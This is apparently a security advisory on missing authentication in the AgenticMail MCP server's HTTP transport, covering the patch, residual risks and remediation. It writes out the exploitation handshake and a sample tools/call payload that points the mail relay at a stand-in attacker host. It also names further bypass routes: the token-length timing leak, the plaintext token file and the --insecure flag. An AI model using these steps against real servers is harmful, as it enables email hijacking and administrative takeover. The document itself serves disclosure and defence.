GHSA-63GR-G7JC-V8RG: Missing Authentication in AgenticMail MCP HTTP Transport Layer

The Model Context Protocol (MCP) serves as an open-standard communication layer designed to connect large language model (LLM) applications to custom data stores, internal environments, and external tools. Within the @agenticmail/mcp package, developers can configure the server to run in two primary execution modes: standard input/output (Stdio) and HTTP. The HTTP transport layer, enabled via the --http CLI option or the MCP_HTTP=1 environment variable, sets up a long-lived Node.js HTTP server. This server uses Server-Sent Events (SSE) to stream execution feedback to clients and receives incoming tool execution instructions through HTTP POST requests directed to the /mcp route.

In versions of the @agenticmail/mcp package prior to 0.9.27, starting the server in HTTP mode exposed a critical vulnerability classified under CWE-306 (Missing Authentication for Critical Function). The server initialized its HTTP listener with a default wildcard network binding (0.0.0.0), rendering the interface accessible to any external client possessing route connectivity to port 8014. Crucially, the exposed /mcp endpoint lacked any authentication validation logic, processing incoming JSON-RPC 2.0 command payloads unconditionally.

The absence of an authentication gate created an immediate privilege escalation vector. Because the MCP server process runs with the administrative AGENTICMAIL_MASTER_KEY environment variable loaded, any command executed through the /mcp route is implicitly authorized under this high-privilege credential. Consequently, an unauthenticated network-adjacent or external attacker could establish a session and issue commands directly to sensitive administrative tools, resulting in unauthorized control over the platform's email routing, DNS configuration, and agent state.

To analyze the vulnerability, it is necessary to examine the architectural difference between the Stdio and HTTP transport implementations in the Model Context Protocol. In Stdio mode, the MCP server runs as a local child process managed directly by the LLM client application. The operating system's process isolation boundaries inherently restrict communication to local processes, eliminating network-based attack vectors. When the HTTP transport is selected, the communication protocol is serialized over standard TCP sockets, creating a remote network attack surface that requires explicit, robust access control mechanisms.

In vulnerable versions of @agenticmail/mcp, the developer failed to implement an authorization check within the HTTP request handling route. The Node.js HTTP server accepted inbound requests, initialized SSE channels, and processed JSON-RPC payloads without validating the origin or identity of the request sender. This architecture established a classic Confused Deputy vulnerability, where the MCP server executed highly privileged actions on behalf of an unauthenticated and untrusted remote client.

The diagram demonstrates the control flow of an exploitation attempt. Because the server does not perform an authentication challenge upon receiving the initialization request, it generates a valid session identifier and exposes the complete administrative toolset. The server's subsequent API requests to downstream mail gateways are executed with the full permissions of the AGENTICMAIL_MASTER_KEY, completely bypassing the intended access control policies.

The remediation implemented in commit 7d1791da7c8c8bd4e70d7081db48e18ab55f6736 addresses the missing authentication and wildcard binding issues. In the vulnerable implementation, the network host defaulted to binding on all interfaces, which made the server listen on 0.0.0.0 unless explicitly overridden. The patch changes this default behavior to restrict the listening socket specifically to the local loopback interface (127.0.0.1), which significantly reduces the local network exposure.

// In packages/mcp/src/index.ts (Post-patch)
const httpHost = hostArg ? hostArg.split('=')[1] : (process.env.MCP_HTTP_HOST || '127.0.0.1');

Additionally, the patch integrates an authorization middleware check within the HTTP request-response cycle. When the server processes an incoming request on the /mcp endpoint, it validates the existence and accuracy of an Authorization header containing a bearer token. If the token is missing or incorrect, the server immediately short-circuits the connection and issues a 401 Unauthorized HTTP status code, as illustrated in the code implementation below:

if (authToken !== null && !checkAuth(req, authToken)) {
  res.writeHead(401, {
    'Content-Type': 'application/json',
    'WWW-Authenticate': 'Bearer realm="agenticmail-mcp"',
  });
  res.end(JSON.stringify({
    error: 'Unauthorized. Send Authorization: Bearer <token>. ' +
           'Token is at ~/.agenticmail/mcp-http-token or in MCP_HTTP_TOKEN.',
  }));
  return;
}

To manage credentials securely without manual developer configuration, the server utilizes an automatic credential generation mechanism. If no explicit token is passed via command-line arguments or environment variables, the server generates a cryptographically random token using randomUUID(). It writes this token to a local file path (~/.agenticmail/mcp-http-token) and applies strict POSIX file permissions of 0600 (owner-read and owner-write only) via Node's chmodSync to prevent read access by other local users.

Exploitation of the unauthenticated endpoint requires completing the standard Model Context Protocol initialization handshake over HTTP transport. The attacker first establishes a connection by sending a POST request containing an initialize JSON-RPC method payload to the /mcp endpoint. The server, acting in its vulnerable unauthenticated state, processes the request and responds with a success status containing the custom mcp-session-id header.

Once the session identifier is obtained, the attacker completes the initialization protocol by sending a notifications/initialized request. This updates the session state within the server, marking it ready to accept tool execution commands. Subsequent requests can target any registered administrative tools by issuing a tools/call request carrying the target tool name and parameter arguments alongside the active session identifier header.

# Target payload for triggering administrative actions
payload = {
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
        "name": "setup_email_relay",
        "arguments": {
            "relay_host": "malicious.attacker.com",
            "port": 587
        }
    }
}

Using this sequence, an attacker can invoke powerful tools such as configuring malicious mail relays, resetting domain ownership controls, deleting active email agents, or querying stored messages. This allows comprehensive control over the platform's functional email operations and backend system infrastructure without needing to authenticate.

While the patch successfully closes the unauthenticated remote access vector, several critical security vectors remain that developers and administrators must consider. First, the comparison algorithm in checkAuth implements an early-exit optimization based on string length verification prior to conducting a timing-safe evaluation. Although the subsequent timingSafeEqual call protects individual characters from timing-based extraction, the preliminary length validation (got.length !== want.length) can disclose the exact character length of the active token to a local network attacker analyzing network packet latency.

function checkAuth(req: import('node:http').IncomingMessage, expected: string): boolean {
  const header = req.headers['authorization'];
  if (typeof header !== 'string') return false;
  const m = header.match(/^Bearer\\s+(.+)$/i);
  if (!m) return false;
  const got = Buffer.from(m[1]);
  const want = Buffer.from(expected);
  if (got.length !== want.length) return false; // Early return exposes token length
  return timingSafeEqual(got, want);
}

Second, the token auto-minting process relies on storing the generated token in plaintext inside the user's home folder. If the local host suffers from a secondary vulnerability, such as local file inclusion (LFI) or directory traversal, a remote attacker could read the plaintext token from ~/.agenticmail/mcp-http-token and reconstruct an authorized session. Additionally, on shared server systems, local users could read process environmental states through /proc/$PID/environ if the token is passed using the MCP_HTTP_TOKEN environment variable.

Lastly, the command-line implementation retains the --insecure override argument. This flag completely deactivates the authentication requirements and enables wildcard network binding. If development teams accidentally deploy containers or production orchestration configurations containing this flag, the security boundaries added by the patch are entirely bypassed, restoring the server to its initial vulnerable state.

The primary resolution for this vulnerability is upgrading all @agenticmail/mcp dependencies to version 0.9.27 or higher. Because this package functions as a downstream dependency for multiple CLI and development tools, associated integrations must also be upgraded. Specifically, update @agenticmail/cli to version 0.9.101, @agenticmail/claudecode to version 0.2.32, and @agenticmail/codex to version 0.1.26 to ensure that patched versions of the MCP transport layer are used throughout the workspace.

In environments where upgrading dependencies is not immediately viable, the HTTP transport mode must be disabled entirely. The MCP server should be restricted to running in the default Stdio transport mode, which relies on local OS process isolation and standard input/output pipes. If HTTP mode is mandatory for distributed operation, the server should be bound exclusively to the loopback interface (127.0.0.1) and routed behind an authenticated reverse proxy, such as Nginx or HAProxy, implementing bearer validation or IP address whitelisting.

Network administrators should implement defensive segmentation to prevent unauthorized lateral movement on systems running older agent versions. Create firewall rules using iptables or cloud security groups to drop all external TCP traffic directed to port 8014 on affected nodes. This network-level control prevents remote exploitation attempts even if the software is misconfigured to run with wildcard bindings or the --insecure argument.